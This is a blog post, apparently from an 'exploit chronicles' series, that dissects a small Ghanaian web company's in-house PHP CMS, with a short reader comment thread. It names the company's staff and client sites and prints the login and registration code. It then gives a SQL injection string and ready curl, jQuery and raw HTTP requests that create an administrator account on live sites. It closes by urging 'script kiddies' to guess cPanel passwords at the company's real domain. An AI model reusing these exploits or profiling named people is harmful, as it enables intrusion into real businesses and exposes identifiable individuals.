Michael KwayisiΞ

EC101: Trilion IT Services in the Spotlight

Twitter · Facebook
Trilion IT Services is a small website development and web hosting reseller company based in Ghana, situated at Community 12 in Tema.Cracking Trilion CMS to gain administrative privileges

Trilion IT Services is a small website development and web hosting reseller company based in Ghana, situated at Community 12 in Tema. The company employs a handful of people, namely, Prince Osei-Akyeampong (Managing Director), Emmanuel Ackabah (Head of Operations), Daniel Lasme, Anna (part-time Marketing Executive), and at least one other young male. Despite being "small" in terms of the number of employees they have, the company is doing quite well and also growing pretty fast. They have since added other IT services and even events management to their line of operations. Just so you wish to know, they have a few "interesting" companies as clients.

The company was founded by the then 22-year-old Prince Osei Kofi Akyeampong (a.k.a. Poka, Lugardd [sic], and Prince Lugard) in September 2007 as Trillion Group. Before that, he had been developing websites at an internet cafe at Community 8, Tema, where he lived, albeit with only HTML and JavaScript. On September 12, 2012, he posted on the GDG Ghana Google group that he is "a newbie to the use of Jquery and Ajax" despite having been into web development for several years. Prince has since developed the tiny team into a real company, now a subsidiary of Trilion Web Consult, which, interestingly, has the following statement on their website:

In our effort to provide the client with the best there is, Trilion IT Services is providing web solutions for websites who need content management. . . . Now you can update your website easily by your self without having to call your web developer. We provide a content management system which understands your needs. Unlike the other content management systems there is, Trilion CMS is carefully designed to understand your needs. Once we know what you want your website to do for you, we will customize Trilion CMS to suit your needs. To have a sneak peak, contact us today. We'll be glad to assist you.

And indeed, 'customizing' software to 'suit clients' needs' is what they have been doing! If you have some few minutes to spare, then join me and let's have "a sneak peak" into this amazing content management system that at least a dozen companies are currently running. Of course, the author of this article cannot be held responsible for whatever you do with the information presented herein. Therefore, continue reading at your own risk.

Anatomy of the Trilion CMS

Trilion CMS is a content management system written in PHP. It is developed and maintained by Trilion IT Services. The company installs the web software for almost all of its clients. The software is often customized to suit the needs of the company's clients who often have varied requirements. It can be used to manage a simple travel booking website like traveltrustgh.com, or even something more intricate like the web directory cum news site ghdirectory.net. So you see, Trilion CMS is not just another content management system but your one-stop solution for all your web development needs. Throw away your Drupal, kid!

At the root of the software package is a file named index.php. Depending upon the requirements of the client, there may be other files like about.php, contact.php, etc. all in the root directory. At that same location are also the core application directories: admin (contains the administrative pages used to manage the site), images (contains the core static images used on the site), img (contains variable images and other files), js (obviously, contains JavaScript scripts used on the site; often duplicate versions of the same libraries), and styles (contains the CSS files of the site). The item of interest is none other than the admin directory, which is the broken door to the vault.

The admin directory contains a lot of files, each serving as a module to perform a single task. The design philosophy is similar to Unix's, that: Write programs that do one thing and do it well. (I'm not sure about the "do it well" part, though.) If you guessed the presence of an index.php file inside this directory, well, you are correct. Below are the trimmed contents of the file.a

$ cat /admin/index.php
<?
   session_start();
   if (isset($_SESSION['username'])) {
       header("location: main.php");
   }
   . . .
   include("connection.php");
   $sl = mysql_query("select * from login") or die(mysql_error());
   if ($g = mysql_num_rows($sl) > 0) {
?>
. . .
<form method="post" action="ssl/login.php" . . .
   <input name="username" . . .
   <input name="password" . . .
   <input name="SUBMIT" type="submit" . . .
</form>
. . .
<?
   } else {
?>
. . .
<form method="post" action="ssl/register.php" . . .
   <input name="username" . . .
   <input name="password" . . .
   <input name="cpassword" . . .
   <input name="SUBMIT" type="submit" . . .
</form>
. . .
<?
   }
?>

Did you notice anything that can be useful in an exploit in the snippet? For me, six things: (1) The user is authenticated by simply having a username key present, with a non-null value, in the global $_SESSION variable. (2) The backend DBMS is MySQL, and the connection credentials can be found in /admin/connection.php. (3) If no rows are present in the MySQL table named login, a registration form is presented to the user. (4) Login authentication logic resides in /admin/ssl/login.php. (5) Login registration logic lives in /admin/ssl/register.php. (6) The author is not very experienced so he is prone to making common web application development mistakes.

Now, let us go and see what is inside the login.php file; it sure will increase our understanding of the system and help us carry out a more efficient exploit.

$ cat /admin/ssl/login.php
<?
session_start();
if (isset($_REQUEST['SUBMIT'])) {
   $user = $_REQUEST['username'];
   $pass = md5($_REQUEST['password']);
   if (strlen($user) == 0) {
       header("location: ../index.php?var=user");
   } else if (strlen($pass) == 0) {
       header("location: ../index.php?var=pass");
   } else {
       include("../connection.php");
       $sql = mysql_query("SELECT * FROM login WHERE user_name='$user' AND password='$pass'") or die(mysql_error());
       if (mysql_num_rows($sql) != 0) {
           while ($rq = mysql_fetch_array($sql)) {
               $mod = $rq['moderator'];
               $_SESSION['username'] = $user;
               $_SESSION['moderator'] = $mod;
               header("location: ../main.php");
           }
       } else {
           $er = "Incorrect Username and password. Please try again";
           header("location: ../index.php?var=$er");
       }
   }
}
?>

There you have it: a classic SQL injection vulnerability! Hey script kiddies, got your 1' OR '1' = '1 ready? Without wasting any time, let's go check out the contents of the register.php file too, and then we will start launching some gentle missiles.

$ cat /admin/ssl/register.php
<?
session_start();
if (isset($_REQUEST['SUBMIT'])) {
   include("../connection.php");
   $timestamp = date("d-M-Y");
   $un = $_REQUEST['username'];
   $pw = md5($_REQUEST['cpassword']);
   if ($_POST['username'] == "" || $_POST['password'] == "" || $_POST['cpassword'] == "") {
       header("location: ../index.php?error=empty");
   } else if (($_POST['password']) != ($_POST['cpassword'])) {
       header("location: ../index.php?error=match");
   } else {
       $sql = "SELECT user_name FROM login WHERE user_name='" . $un . "'";
       $result = mysql_query($sql);
       if (mysql_num_rows($result) > 0) {
           header("location: ../index.php?error=exist");
       } else {
           $fr = mysql_query("INSERT INTO login (user_name, password, moderator, adate) VALUES ('$un','$pw','administrator','$timestamp')") or die(mysql_error());
           $_SESSION['username'] = $un;
           header("location: ../main.php");
       }
   }
} else {
   header("location: ../index.php?error");
}
?>

Exploiting the Trilion CMS

By carefully studying the snippets presented above, there are at least two ways of exploiting the software to gain administrative privileges: (1) Login by using SQL injection. (2) Register a new administrator account. Now, if you are ready, let's pick up our pens and jot down some notes.

1. Login by using SQL injection

This approach is carried out by exploiting the huge gaping flaw in the login.php file. The culprit is the line mysql_query("SELECT * FROM login . . . which comes immediately after the include statement. If you look closely, the username and password sent by the client is poured into the SQL query without any prior sanitization at all. For this reason, we may choose to enter a value like 1' OR '1' = '1 as both username and password, which when introduced into the SQL query code will read as SELECT * FROM login WHERE user_name='1' OR '1' = '1' AND password='1' OR '1' = '1', just the right concoction to send the warding monster to sleep so that we can safely pass and majestically enter into the forbidden kingdom. Yay!

Unfortunately, this attack won't work if the PHP runtime engine has Magic Quotes turned on. This dangerous yet SQL-injection-immune feature has been deprecated as of PHP 5.3.0 and removed as of 5.4.0, so if you should see it in effect anywhere, then you should know that the PHP version is below 5.4.0. However, if you should find out that the character set configuration of the runtime validates multi-byte characters that end with 0x5c, then bingo! not even Magic Quotes and its accomplice addslashes() can stop you in your glorious conquest. Even so, such situations are hard to come by since nowadays everybody seems to be using UTF-8. Pray your victim doesn't.

2. Register a new administrator account

There is a popular saying that if all else fails, read the instructions,b so if you tried the previous approach but it didn't work, then go back to the login.php file and read it again. There you will see that the script doesn't do any checks at all but blindly insert the incoming data right into the database table. Do you see the INSERT INTO login . . . SQL query statement? That's our pivot of attack. All we have to do now, is to pick a cute username and password that we would like to log in with on a regular basis. Having created the account, we can therefore subsequently launch a browser and confidently type in our credentials with no sweat—like a boss!

What is going to be demonstrated below is how to create an administrator account by sending an HTTP POST request to the login.php script. Actually, because the script accesses the data through the global $_REQUEST variable, GET requests (and even cookies under certain circumstances) containing the expected parameter names and values will work as well. In the examples below, I am using "foo" and "bar" as my preferred username and password respectively. I believe the examples are self-explanatory so long as you have ever written a "hello world" application before.

(A) The cURL fanatics will do something like this:

$ curl -d "SUBMIT=1&username=foo&password=bar&cpassword=bar" \
   http://domain.tld/admin/ssl/register.php

(B) The jQuery guys will go along the lines of:

$.post('http://domain.tld/admin/ssl/register.php',
   { SUBMIT: 1, username: 'foo', password: 'bar', cpassword: 'bar' });

(C) The old folks will telnet to the server and type:

POST /admin/ssl/register.php HTTP/1.0
Host: domain.tld
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

SUBMIT=1&username=foo&password=bar&cpassword=bar

Conclusion—Time to go home

Okay guys. I guess that is all there is about gaining administrative privileges with the Trilion CMS. But what can you do when you are finally inside this ancient Egyptian tomb? Well, I have not tried it myself so it's hard for me to even tell what is inside. But I'm sure you will find some dead Pharoah's skull lying around. Besides, I think it would be fun to have a cup of coffee there while sitting on the coffin of Pedi-Osiris. Cool! But wait, I hear Fernando Torres tried it once but lost his goal-scoring ability forever! Considering that, I don't think it's such a great idea to be spilling 21st century coffee on a pyramid floor. Just kick the skulls and leave.

Is the Trilion CMS vulnerable to other forms of attack like remote code execution and arbitrary file uploads? Ahem, a certain old man once told me: One must learn to walk before he can run. So regarding that aspect, I would say let's be patient and see what tomorrow brings. In fact, I've not checked that out at all. But I know this, for a fact, that, the case study that will follow this one will be very much interesting. So in the meantime, be careful where you step because I'd love to have you read that one too. You may think that you have the world at your feet but with power comes responsibility; with great knowledge comes great pain and vexation.

Phew! That's enough to write for today. Before leaving you, however, my fellow script kiddies, here is a little exercise for you: If you try to connect to the port 2082 of many web servers, especially that of Trilion IT Services, which is at trilionit.com:2082, you will see a cPanel Login page with a nice username and password fields. All you have to do, at this point, is to supply the correct username/password combination to gain an unrestricted privilege to the hosting account like the owner himself. How does one guess the right combination? Think.


Footnotes

  1. Code snippets have been reformatted to improve readability.
  2. Programmers have their own version; this is not it.

Comments (3)

  1. AnonymousAnonymous
    Mar 17, 2014 00:55 GMT

    This seems like a novice mistake. The content of the PHP files should be accessible in plain text to begin with, not that it condones the inexcusably bad programming, for a commercial product over 5 years old.

    How did you by pass the server-side processing to retrieve the files in non-processed form?
    Is there any attempt to protect it at all?

    And finally, for ethical considerations, have you notified the owners. It appears they have serious knowledge deficit.

    BTW: your anti-bot check below has no usefulness. :)

    1. Michael KwayisiMichael Kwayisi
      Mar 18, 2014 15:17 GMT

      There is a zero-day Apache vulnerability that lets you trick the server to spit the contents of script files in plain text. (C'mon, I'm just kidding. No I'm not. Yes I am.) Figuring it out is trivial so it's left as an exercise to the reader :) And yes, I did contact the owners; if nothing else, they were the first mortals to read this article (apart from my grandmother).

      Regarding my anti-bot check, it has proved *extremely* useful. I added it some few months ago but has since bounced literally thousands of spam comments. True, it's not very sophisticated but that may be because the spambots themselves are not so smart.

    2. AnonymousAnonymous
      Mar 19, 2014 10:49 GMT

      Not much of an Apache user anymore, so wasn't aware of the zero-day vulnerability. I did suspect some header mangling tricks though. Thanks for the education.

      I see the value of the anti-spam bot check. Would work very well for generic crawler bots. My opinion was skewed towards a direct exploitation, influenced by your declaration of "exploit chronicles" to see things that way.

      Nice article though. Keep it up :)

NOTE: You are replying to 's comment. [Cancel]